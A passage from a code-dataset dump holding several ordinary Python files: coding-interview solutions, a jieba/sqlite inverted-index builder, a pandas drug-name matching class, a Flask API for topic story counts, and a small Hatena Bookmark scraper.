et.next.next\n ot.next = temp1\n et.next = temp2\n temp1.next = et\n ot, et = temp1, temp2\n ot.next = eh\n return oh\n","sub_path":"LEETCODE/0328. Odd Even Linked List.py","file_name":"0328. Odd Even Linked List.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"256487640","text":"# WEBSITE: HackerRank\n# EXERCISE: DP: Coin Change (Cracking the Coding Interview)\n# SOURCE: https://www.hackerrank.com/challenges/ctci-coin-change\n# LANGUAGE: Python 3 \n\n# RULES: Given a number of dollars, n, and a list of dollar values for m distinct coins, \n# C = {c0, c1, c2,…, cm-1}, find and print the number of different ways you can make change \n# for n dollars if each coin is available in an infinite quantity.\n#\n# The first line contain two space-separated integers describing the respective values of n and m. \n# The second line contains m space-separated integers describing the respective values of c0, c1, c2,…, cm-1, \n# where each integer denotes the dollar value of a distinct coin available in an infinite quantity.\n#\n# Print a single integer denoting the number of ways we can make change for n dollars \n# using an infinite supply of our m types of coins.\n#\n# SAMPLE INPUT:\n# 4 3\n# 1 2 3 \n#\n# EXPECTED OUTPUT: \n# 4\n\n# Solution below uses the Integer Partition Algorithm: \n# https://en.wikipedia.org/wiki/Partition_(number_theory)\n# https://www.youtube.com/watch?v=ZaVM057DuzE\n\n#!/bin/python3\n\nimport sys\n\ndef make_change(coins, n):\n results = [0 for _ in range(n + 1)]\n results[0] = 1\n for coin in coins:\n for i in range(coin, n + 1):\n results[i] += results[i - coin]\n return results[n]\n\nn,m = input().strip().split(' ')\nn,m = [int(n),int(m)]\ncoins = [int(coins_temp) for coins_temp in input().strip().split(' ')]\nprint(make_change(coins, n))\n\n","sub_path":"cracking_the_coding_interview/CtCI_DP-CoinChange.py","file_name":"CtCI_DP-CoinChange.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"365432812","text":"\"\"\"\nSame Tree\nhttps://leetcode.com/explore/interview/card/facebook/52/trees-and-graphs/306/\n\n_author: Kashif Memon\n_python_version: 3.7.2\n\"\"\"\n\n\nclass TreeNode:\n def __init__(self, x: int):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def isSameTree(self, p: TreeNode, q: TreeNode) -> bool:\n if p is None or q is None: return p == q\n return p.val == q.val and self.isSameTree(p.left, q.left) and self.isSameTree(p.right, q.right)\n\n\ndef main():\n input1 = TreeNode(1)\n input1.left = TreeNode(2)\n input1.right = TreeNode(3)\n print(Solution().isSameTree(input1, input1))\n\n input21 = TreeNode(1)\n input21.left = TreeNode(3)\n input22 = TreeNode(1)\n input22.right = TreeNode(3)\n # print(Solution().isSameTree(input21, input22))\n\n input21 = TreeNode(1)\n input21.left = TreeNode(3)\n input22 = TreeNode(1)\n input22.right = TreeNode(3)\n # print(Solution().isSameTree(input21, input22))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"solutions-to-leetcode/facebook-interview/trees & graphs/t_same_tree.py","file_name":"t_same_tree.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541319047","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 1 17:31:50 2019\n\n@author: Adam\n\n@E-mail: shengqiang.liu@videt.cn\n\"\"\"\nimport sqlite3\nimport jieba\n\n# 位置片段\npostings_lists = {}\n# 数据库地址\ndb_path = './db/ir.db'\n\n'''查询信息'''\ndef get_information_from_db(dbpath):\n conn = sqlite3.connect(dbpath)\n c = conn.cursor()\n sql = \"select id,title from news\"\n c.execute(sql)\n return c.fetchall()\n\n'''清洗分词后的文档'''\ndef clean_list(seg_list):\n cleaned_dict = {}\n n = 0\n for word in seg_list:\n word = word.strip().lower()\n if word != '' and not word.isdigit():\n n += 1\n if word in cleaned_dict:\n cleaned_dict[word] = cleaned_dict[word] + 1\n else:\n cleaned_dict[word] = 1\n return n, cleaned_dict\n\n'''配置参数'''\ndef write_config(n,average):\n with open(\"config.py\",\"w\") as f:\n f.write(\"db_path = 'ir.db'\\n\")\n f.write(\"k = 1.5\\n\")\n f.write(\"b = 0.75\\n\")\n f.write(\"n = {}\\n\".format(n))\n f.write(\"average = {}\\n\".format(average))\n\n\n'''写入数据库'''\ndef write_postings_to_db(db_path):\n \n conn = sqlite3.connect(db_path)\n c = conn.cursor()\n \n c.execute('''DROP TABLE IF EXISTS postings''')\n c.execute('''CREATE TABLE postings\n (term TEXT PRIMARY KEY, df INTEGER, docs TEXT)''')\n \n for key, value in postings_lists.items():\n doc_list = '\\n'.join(map(str, value[1]))\n t = (key, value[0], doc_list)\n c.execute(\"INSERT INTO postings VALUES (?, ?, ?)\", t)\n\n conn.commit()\n conn.close()\n \n'''main'''\ndef construct_postings_lists(db_path):\n \n # 文档信息\n documents = get_information_from_db(db_path)\n # 全部长度\n total_length = 0\n \n for id, document in documents:\n \n # 分词后的文章列表\n seg_list = jieba.lcut(document)\n # 计算分词后的长度,以及分词后词频统计结果\n length, cleaned_dict = clean_list(seg_list)\n # 计算总长度\n total_length = total_length + length\n \n # 循环词频统计结果\n for key, value in cleaned_dict.items():\n # 每个单词 其id为 所在文档, value为出现次数 length为文档长度\n d = [id, value, length]\n if key in postings_lists:\n postings_lists[key][0] = postings_lists[key][0] + 1 # df++\n postings_lists[key][1].append(d)\n else:\n postings_lists[key] = [1, [d]] # [df, [Doc]\n print(\"[+] id : {} \".format(id))\n # 计算平均长度\n average = total_length / len(documents)\n # 将配置参数写入config文件\n write_config(len(documents),average)\n # 将位置列表写入数据库\n write_postings_to_db(db_path)\n\nif __name__ == \"__main__\":\n construct_postings_lists(db_path)\n","sub_path":"create_index.py","file_name":"create_index.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"333252179","text":"# coding=utf8\nimport pandas as pd\nimport re\nfrom pypinyin import pinyin, lazy_pinyin\n\n\nclass CodeMap:\n def __init__(self):\n self.path = 'e:\\\\share\\\\kbms_drug_dict.txt'\n self.is_delete = 'e:\\\\share\\\\is_delete.txt'\n self.usual_name = 'e:\\\\share\\\\bieming_test.txt' # 别名存储\n self.memory_name = 'e:\\\\share\\\\memory_match.txt'\n self.row_data = []\n self.alias = []\n self.memory_dict = []\n self.df_raw = None\n\n def get_alias(self):\n \"\"\"\n 获取别名字典\n :return:\n \"\"\"\n l_name = []\n r_name = []\n f = open(self.usual_name, encoding='utf8')\n for i in f:\n i = i.replace('\\n', '')\n temp = i.split(' ')\n l_name.append(temp[0])\n r_name.append(temp[1])\n l_name.append(temp[1])\n r_name.append(temp[0])\n f.close()\n return list(zip(l_name, r_name))\n\n def get_memory_dict(self):\n \"\"\"\n 创建一个内存形态的表【pandas】\n 与【get_rawcode】类似\n :return:\n \"\"\"\n # 临时字典\n temp_dict = []\n f = open(self.memory_name, encoding='utf8')\n # 读取数据将数据存入字典中\n for i in f:\n if re.findall('D[RSL]', i):\n temp_dict.append(i.replace('\\n', '').split(' ')[0:5])\n\n # 使用pandas将list做成一个表\n self.memory_dict = pd.DataFrame(temp_dict)\n # 表头,或者认为是表的列索引名称\n self.memory_dict.columns = ['PRODUCT_NAME', 'TRAD_NAME', 'DRUG_FORM', 'GENERIC_NAME', 'LEVEL1']\n # 拷贝LEVEL1到LEVEL2,LEVEL3\n self.memory_dict['LEVEL2'] = self.memory_dict.LEVEL1\n self.memory_dict['LEVEL3'] = self.memory_dict.LEVEL1\n f.close()\n\n def get_rawcode(self):\n \"\"\"\n 创建一个内存形态的表,\n 与【get_memory_dict】类似\n :return:\n \"\"\"\n id = 0\n f = open(self.path, encoding='utf8')\n for i in f:\n # i=i.replace('\\n','')\n # i=i.replace('-')\n # i=re.sub('[??,;\\'><&\\(\\)()。!#*.]','',i)\n i = re.sub('[\\s\\-\\n]', '', i) # 替换掉空白符,tab符号,换行符号,-符号\n temp_dict = {}\n # id==0,说明是第一行,为列头\n if id == 0:\n col = i.split(',')\n elif id > 0:\n for j in range(len(col)):\n temp_dict[col[j]] = i.split(',')[j]\n self.row_data.append(temp_dict)\n\n id = id + 1\n f.close()\n # 一个dataframe是一个二维的表结构\n self.df_raw = pd.DataFrame(self.row_data)\n self.row_data = []\n return self.df_raw\n\n def full_match_l1(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 规则1 product_name\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return:\n \"\"\"\n if form_drug is None:\n form_drug = ''\n # shape函数返回一个元素(多少行,多少列)\n if self.df_raw[self.df_raw.PRODUCT_NAME == name1].shape[0] > 0:\n # 返回二维表中产品名称与name1相等数据\n return self.df_raw[self.df_raw.PRODUCT_NAME == name1]\n elif self.df_raw[self.df_raw.PRODUCT_NAME == name2].shape[0] > 0:\n # 返回二维表中产品名称与name2相等数据\n return self.df_raw[self.df_raw.PRODUCT_NAME == name2]\n elif self.df_raw[self.df_raw.PRODUCT_NAME == name3].shape[0] > 0:\n # 同上\n return self.df_raw[self.df_raw.PRODUCT_NAME == name3]\n elif self.df_raw[self.df_raw.PRODUCT_NAME == name1 + form_drug].shape[0] > 0:\n # 产品名称 == 名称+剂型\n return self.df_raw[self.df_raw.PRODUCT_NAME == name1 + form_drug]\n elif form_drug is not None and self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name1) \\\n & (self.df_raw.ACTUAL_FORM_CODE == form_drug)].shape[0] > 0:\n # 小通用名+实际剂型==name1+剂型\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name1) \\\n & (self.df_raw.ACTUAL_FORM_CODE == form_drug)]\n elif form_drug is not None and self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name2) \\\n & (self.df_raw.ACTUAL_FORM_CODE == form_drug)].shape[0] > 0:\n # 小通用名+实际剂型==name2+剂型\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name2) \\\n & (self.df_raw.ACTUAL_FORM_CODE == form_drug)]\n elif form_drug is not None and self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name3) \\\n & (self.df_raw.ACTUAL_FORM_CODE == form_drug)].shape[0] > 0:\n # 小通用名+实际剂型==name3+剂型\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name3) \\\n & (self.df_raw.ACTUAL_FORM_CODE == form_drug)]\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME == '*****']\n\n def full_match_l2(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 小通用名+标注剂型\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return:\n \"\"\"\n if form_drug is not None and self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name1) \\\n & (self.df_raw.LABEL_FORM_NAME == form_drug)].shape[0] > 0:\n # 小通用名+标注剂型\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name1) \\\n & (self.df_raw.LABEL_FORM_NAME == form_drug)]\n elif form_drug is not None and self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name2) \\\n & (self.df_raw.LABEL_FORM_NAME == form_drug)].shape[0] > 0:\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name2) \\\n & (self.df_raw.LABEL_FORM_NAME == form_drug)]\n elif form_drug is not None and self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name3) \\\n & (self.df_raw.LABEL_FORM_NAME == form_drug)].shape[0] > 0:\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name3) \\\n & (self.df_raw.LABEL_FORM_NAME == form_drug)]\n else:\n return self.df_raw[self.df_raw.PRODUCT_NAME == '****']\n\n def full_match_l3(self, name1=None, name2=None, name3=None):\n \"\"\"\n 小通用名\n :param name1:\n :param name2:\n :param name3:\n :return:\n \"\"\"\n if self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name1)].shape[0] > 0:\n # 小通用名\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name1)]\n\n elif self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name2)].shape[0] > 0:\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name2)]\n\n elif self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name3)].shape[0] > 0:\n return self.df_raw[(self.df_raw.SMALL_GENERIC_NAME == name3)]\n else:\n return self.df_raw[self.df_raw.PRODUCT_NAME == '****']\n\n # def memory_match(self,name1=None,name2=None,name3=None,form_drug=None):\n\n def rule_1(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 商品名称\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return:\n \"\"\"\n product_name = [name1, name2, name3]\n return self.df_raw[self.df_raw.TRAD_NAME.isin(product_name)]\n\n def rule_2(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 剔除无效字符,进行查找 \\n\n 1.[??,;'><&()()。!#*.] \\n\n 2.将中文,罗马数字替换为阿拉伯数字 \\n\n 3.并且对二位表中self.df_raw.PRODUCT_NAME进行对比获取匹���的值 \\n\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return: 查到的结果\n \"\"\"\n cn_num = '一二三四五六七八九'\n r_cn_num = '[一二三四五六七八九]'\n num = '123456789'\n r_num = '[123456789]'\n roman_num = 'ⅠⅡⅢⅣⅤⅥⅦⅧⅨ'\n r_roman_num = '[ⅠⅡⅢⅣⅤⅥⅦⅧⅨ]'\n\n product_name = []\n names = [name1, name2, name3]\n for name in names:\n if name is not None:\n # 替换特殊字符\n name = re.sub('[\\??,;\\'><&\\(\\)()。!#*.]', '', name)\n\n # 将数字替换为阿拉伯数字\n if re.findall(r_cn_num, name):\n for sn in range(len(cn_num)):\n name = re.sub(cn_num[sn], num[sn], name)\n if re.findall(r_roman_num, name):\n for sn in range(len(cn_num)):\n name = re.sub(roman_num[sn], num[sn], name)\n\n \"\"\"\n 对二维表中的product_name列进行替换数字,然后进行比较如果相等则加入到返回队列中\n \"\"\"\n for t_pn in self.df_raw.PRODUCT_NAME:\n source = t_pn\n if re.findall('[一二三四五六七八九123456789ⅠⅡⅢⅣⅤⅥⅦⅧⅨ]', t_pn):\n for sn in range(len(cn_num)):\n t_pn = re.sub(cn_num[sn], num[sn], t_pn)\n for sn in range(len(cn_num)):\n t_pn = re.sub(roman_num[sn], num[sn], t_pn)\n # print(j)\n if name == t_pn:\n product_name.append(source)\n\n data = self.df_raw[self.df_raw.PRODUCT_NAME.isin(product_name)]\n if data.shape[0] > 0:\n return data\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME.isin(product_name)]\n\n def rule_3(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 1.替换【\\d*\\.?\\d*\\%】 \\n\n 2.名称包含比例\n 3.0.9%氯化钠\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return: 返回匹配结果\n \"\"\"\n product_name = []\n names = [name1, name2, name3]\n\n for name in names:\n if name is not None:\n if re.findall('\\d*\\.?\\d*\\%', name):\n n = re.sub('\\d*\\.?\\d*\\%', '', name)\n if self.df_raw[self.df_raw.PRODUCT_NAME == n].shape[0] > 0:\n product_name.append(n)\n\n data = self.df_raw[self.df_raw.PRODUCT_NAME.isin(product_name)]\n if data.shape[0] > 0:\n return data\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME.isin(product_name)]\n\n def rule_4(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 1.产品名称处理多音字的情况 \\n\n 2.拼音码+象形字 \\n\n 3.名称包含错别字\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return:\n \"\"\"\n product_name = []\n names = [name1, name2, name3]\n\n for name in names:\n if name is not None:\n py_name = lazy_pinyin(name)\n for i in self.df_raw.PRODUCT_NAME:\n if lazy_pinyin(i) == py_name:\n if self.df_raw[self.df_raw.PRODUCT_NAME == i].shape[0] > 0:\n product_name.append(i)\n\n data = self.df_raw[self.df_raw.PRODUCT_NAME.isin(product_name)]\n if data.shape[0] > 0:\n return data\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME.isin(product_name)]\n\n def rule_5(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 1.替换特殊字符【* ? ? 空白格 - _ + # & @符号】 \\n\n 2.特殊字符位置不变,精准匹配,提供特殊字符集 \\n\n 3.利用偏移位置进行处理。\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return:\n \"\"\"\n product_name = []\n names = [name1, name2, name3]\n\n for name in names:\n if name is not None:\n pos = re.search('[\\*\\??\\s -_+\\#\\&@]', name)\n temp_name = re.sub('[\\*\\??\\s -_+\\#\\&@]', '', name)\n if pos:\n for j in self.df_raw.PRODUCT_NAME:\n if len(j) == len(name) and j[0:pos.start()] + j[pos.end():len(j)] == temp_name:\n product_name.append(j)\n\n data = self.df_raw[self.df_raw.PRODUCT_NAME.isin(product_name)]\n if data.shape[0] > 0:\n return data\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME.isin(product_name)]\n\n def rule_6(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 1.异常字符 \\n\n 2.替换异常字符,然后进行匹配。 \\n\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return:\n \"\"\"\n product_name = []\n names = [name1, name2, name3]\n for name in names:\n if name is not None and re.findall('[A-Z0-9\\.\\*\\?\\?\\-%,。(\\+\\-)\\(\\)]', name1):\n name = re.sub('[A-Z0-9\\.\\*\\?\\?\\-%,。(\\+\\-)\\(\\)]', '', name1)\n for j in self.df_raw.PRODUCT_NAME:\n if name == re.sub('[A-Z0-9\\.\\*\\?\\?\\-%,。(\\+\\-)\\(\\)]', '', j):\n product_name.append(j)\n\n data = self.df_raw[self.df_raw.PRODUCT_NAME.isin(product_name)]\n if data.shape[0] > 0:\n return data\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME.isin(product_name)]\n\n def rule_8(self, name1=None, name2=None, name3=None, form_drug=None):\n \"\"\"\n 名称带括号,三级\n :param name1:\n :param name2:\n :param name3:\n :param form_drug:\n :return:\n \"\"\"\n product_name = []\n names = [name1, name2, name3]\n for name in names:\n if name is not None:\n text = re.search('[\\(|(][\\s\\S]*?[\\)|)]', name)\n if text:\n del_text = text.group()\n product_name.append(name.replace(del_text, ''))\n\n data = self.df_raw[self.df_raw.PRODUCT_NAME.isin(product_name)]\n if data.shape[0] > 0:\n return data\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME.isin(product_name)]\n\n def rule_11(self, name1=None, name2=None, name3=None, form_drug=None):\n ###曾经用名\n bieming_dict = self.get_alias()\n\n bieming_check = [j[0] for j in bieming_dict if j[1] == name1]\n data = self.df_raw[self.df_raw.PRODUCT_NAME.isin(bieming_check)]\n\n if data.shape[0] > 0:\n return data\n else:\n return self.df_raw[self.df_raw.SMALL_GENERIC_NAME.isin(bieming_check)]\n\n def rule_12(self, name1=None, name2=None, name3=None, form_drug=None):\n ###名字位置调换\n similiar_name = []\n if name1 == None:\n name1 = name2\n if (name1 == None) & (name2 == None):\n name1 = name3\n for i in self.df_raw.PRODUCT_NAME:\n if len(i) == len(name1):\n temp = [character for character in name1 if character in list(i)]\n if len(temp) == len(name1):\n similiar_name.append(temp)\n return self.df_raw[self.df_raw.PRODUCT_NAME.isin(similiar_name)]\n\n def memory_rule(self, name1=None, name2=None, name3=None, form_drug=None):\n if name1 is None:\n name1 = 'NA'\n if name2 is None:\n name2 = 'NA'\n if name3 is None:\n name3 = 'NA'\n if form_drug is None:\n form_drug = 'NA'\n print(name1, name2, name3, form_drug)\n return self.memory_dict[(self.memory_dict.PRODUCT_NAME == name1) & \\\n (self.memory_dict.GENERIC_NAME == name2) & \\\n (self.memory_dict.TRAD_NAME == name3) & \\\n (self.memory_dict.DRUG_FORM == form_drug)]\n\n def similiar_rule(self, name1=None, name2=None, name3=None, form_drug=None):\n product_name = []\n for single_name in self.df_raw.PRODUCT_NAME:\n ratio = (len(name1) + len(single_name)) / len(set(name1 + single_name))\n if ratio > 1.75:\n product_name.append(single_name)\n return self.df_raw[self.df_raw.PRODUCT_NAME.isin(product_name)]\n\n def bat_process(self, n1=None, n2=None, n3=None, drug=None):\n if n1 != None:\n n1 = n1.replace('(', '(')\n n1 = n1.replace(')', ')')\n n1 = re.sub('[\\s\\-]', '', n1)\n data_result = self.full_match_l1(name1=n1, name2=n2, name3=n3, form_drug=drug)\n if data_result.shape[0] > 0:\n final_result = data_result\n final_result['rule'] = 'full_match_l1'\n final_result['type'] = '|'\n elif self.rule_1(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_1(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_1'\n final_result['type'] = '|'\n elif self.rule_2(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_2(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_2'\n final_result['type'] = '|'\n elif self.rule_5(name=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_5(name=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_5'\n final_result['type'] = '|'\n elif self.rule_4(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_4(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_4'\n final_result['type'] = '|'\n elif self.rule_11(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n\n final_result = self.rule_11(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_11'\n final_result['type'] = '|'\n\n elif self.rule_12(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_12(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_12'\n final_result['type'] = '|'\n\n elif self.memory_rule(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.memory_rule(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'memory_rule'\n final_result['type'] = 'memory_rule'\n\n elif self.full_match_l2(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.full_match_l2(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'full_match_l2'\n final_result['type'] = '||'\n\n elif self.full_match_l3(name1=n1, name2=n2, name3=n3).shape[0] > 0:\n final_result = self.full_match_l3(name1=n1, name2=n2, name3=n3)\n final_result['rule'] = 'full_match_l3'\n final_result['type'] = '|||'\n ###三级 \n elif self.rule_8(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_8(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_8'\n final_result['type'] = '|||'\n elif self.rule_3(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_3(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_3'\n final_result['type'] = '|||'\n\n elif self.rule_6(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.rule_6(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'rule_6'\n final_result['type'] = '|||'\n elif self.similiar_rule(name1=n1, name2=n2, name3=n3, form_drug=drug).shape[0] > 0:\n final_result = self.similiar_rule(name1=n1, name2=n2, name3=n3, form_drug=drug)\n final_result['rule'] = 'similiar_rule'\n final_result['type'] = 'similiar_rule'\n else:\n final_result = self.df_raw[self.df_raw.PRODUCT_NAME == 'test']\n final_result['rule'] = 'None'\n final_result['type'] = 'None'\n # final_result=final_result.duplicated()\n final_result = final_result[['LEVEL1', 'LEVEL2', 'LEVEL3', 'PRODUCT_NAME', 'rule', 'type']]\n return final_result.to_json(force_ascii=False, orient='index')\n\n # def return:\n # a.to_json(force_ascii=False,orient='index')\n","sub_path":"python/work/drug_mapping/code_map.py","file_name":"code_map.py","file_ext":"py","file_size_in_byte":21107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"410340175","text":"def next_integer_binary(num):\n if num == 0:\n return 0\n\n count = 0 # The number of 1-bits to clear\n mask = num & ~(num - 1) # Get the lowest set bit\n while not ((num & mask) > 0 and (num & (mask << 1)) == 0):\n num &= ~mask # Clear the set bit\n count += 1\n mask = num & ~(num - 1) # Get the next lowest set bit\n\n num &= ~mask # Set the bit to 0\n num |= mask << 1 # Set the next highest bit to 1\n\n # Set the appropriate number of bits to 1 starting from LSB\n for i in range(count):\n num |= 1 << i\n\n return num\n\n\nprint(next_integer_binary(12))","sub_path":"src/main/scala/NextInteger.py","file_name":"NextInteger.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"229350897","text":"import logging\nfrom operator import itemgetter\nfrom flask import jsonify, request\nimport flask_login\n\nfrom server import mc, app, TOOL_API_KEY\nimport server.util.csv as csv\nfrom server.util.request import filters_from_args, api_error_handler, json_error_response\nfrom server.auth import user_mediacloud_key, is_user_logged_in\nfrom server.views.topics.apicache import topic_split_story_counts, topic_focal_sets, cached_topic_timespan_list, topic_timespan\nfrom server.views.topics import access_public_topic, concatenate_solr_dates\nfrom datetime import datetime\nfrom server.util.stringutil import trimSolrDate\n\nlogger = logging.getLogger(__name__)\n\n\n@app.route('/api/topics//split-story/count', methods=['GET'])\n@api_error_handler\ndef topic_split_story_count(topics_id):\n if access_public_topic(topics_id):\n results = topic_split_story_counts(TOOL_API_KEY, topics_id, snapshots_id=None, timespans_id=None, foci_id=None,q=None)\n elif is_user_logged_in():\n results = topic_split_story_counts(user_mediacloud_key(), topics_id)\n else:\n return jsonify({'status': 'Error', 'message': 'Invalid attempt'})\n\n return jsonify({'results': results})\n\n\n@app.route('/api/topics//split-story/count.csv', methods=['GET'])\n@flask_login.login_required\ndef topic_story_count_csv(topics_id):\n return stream_topic_split_story_counts_csv(user_mediacloud_key(), 'splitStoryCounts-Topic-' + topics_id, topics_id)\n\n\ndef stream_topic_split_story_counts_csv(user_mc_key, filename, topics_id, **kwargs):\n results = topic_split_story_counts(user_mc_key, topics_id, **kwargs)\n clean_results = [{'date': trimSolrDate(item['date']), 'stories': item['count']} for item in results['counts']]\n sorted_results = sorted(clean_results, key=itemgetter('date'))\n props = ['date', 'stories']\n return csv.stream_response(sorted_results, props, filename)\n\n\n@app.route('/api/topics//split-story/focal-set//count', methods=['GET'])\n@flask_login.login_required\n@api_error_handler\ndef topic_focal_set_split_stories_compare(topics_id, focal_sets_id):\n snapshots_id, timespans_id, foci_id, q = filters_from_args(request.args)\n all_focal_sets = topic_focal_sets(user_mediacloud_key(), topics_id, snapshots_id)\n # need the timespan info, to find the appropriate timespan with each focus\n base_snapshot_timespans = cached_topic_timespan_list(user_mediacloud_key(), topics_id, snapshots_id=snapshots_id)\n # if they have a focus selected, we need to find the appropriate overall timespan\n if foci_id is not None:\n timespan = topic_timespan(topics_id, snapshots_id, foci_id, timespans_id)\n for t in base_snapshot_timespans:\n if timespans_match(timespan, t):\n base_timespan = t\n else:\n base_timespan = None\n for t in base_snapshot_timespans:\n if t['timespans_id'] == int(timespans_id):\n base_timespan = t\n logger.info('base timespan = %s', timespans_id)\n if base_timespan is None:\n return json_error_response(\"Couldn't find the timespan you specified\")\n # iterate through to find the one of interest\n focal_set = None\n for fs in all_focal_sets:\n if int(fs['focal_sets_id']) == int(focal_sets_id):\n focal_set = fs\n if focal_set is None:\n return json_error_response('Invalid Focal Set Id')\n # collect the story split counts for each foci\n for focus in focal_set['foci']:\n # find the matching timespan within this focus\n snapshot_timespans = cached_topic_timespan_list(user_mediacloud_key(), topics_id, snapshots_id=snapshots_id, foci_id=focus['foci_id'])\n timespan = None\n for t in snapshot_timespans:\n if timespans_match(t, base_timespan):\n timespan = t\n logger.info('matching in focus %s, timespan = %s', focus['foci_id'], t['timespans_id'])\n if timespan is None:\n return json_error_response('Couldn\\'t find a matching timespan in the '+focus.name+' focus')\n data = topic_split_story_counts(user_mediacloud_key(), topics_id, snapshots_id=snapshots_id, timespans_id=timespan['timespans_id'], foci_id=focus['foci_id'])\n focus['split_story_counts'] = data\n return jsonify(focal_set)\n\n\ndef timespans_match(timespan1, timespan2):\n '''\n Useful to compare two timespans from different subtopics\n :return: true if they match, false if they don't\n '''\n match = (timespan1['start_date'] == timespan2['start_date']) \\\n and (timespan1['end_date'] == timespan2['end_date']) \\\n and (timespan1['period'] == timespan2['period'])\n return match\n","sub_path":"server/views/topics/splitstories.py","file_name":"splitstories.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"403426624","text":"#\n# Pythonでスクレイピングするサンプルアプリです。\n# はてなブックマークの人気一覧を取得します。\n#\n# 取得元:\n# http://b.hatena.ne.jp/hotentry/all\n#\n\n# 01. 必要なモジュールを読み込む.\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\n# 02. HTMLを取得.\nwith urlopen(\"http://b.hatena.ne.jp/hotentry/all\") as response:\n html = response.read().decode(\"utf-8\")\n\n# 03. スクレイピング(タイトルとリンクの取得)\nsoup = BeautifulSoup(html, \"html.parser\")\n\nh3_list = soup.select(\".entrylist-contents-title\")\nfor h3 in h3_list:\n a = h3.find(\"a\")\n title = a.string\n href = a[\"href\"]\n print(title)\n print(href)\n 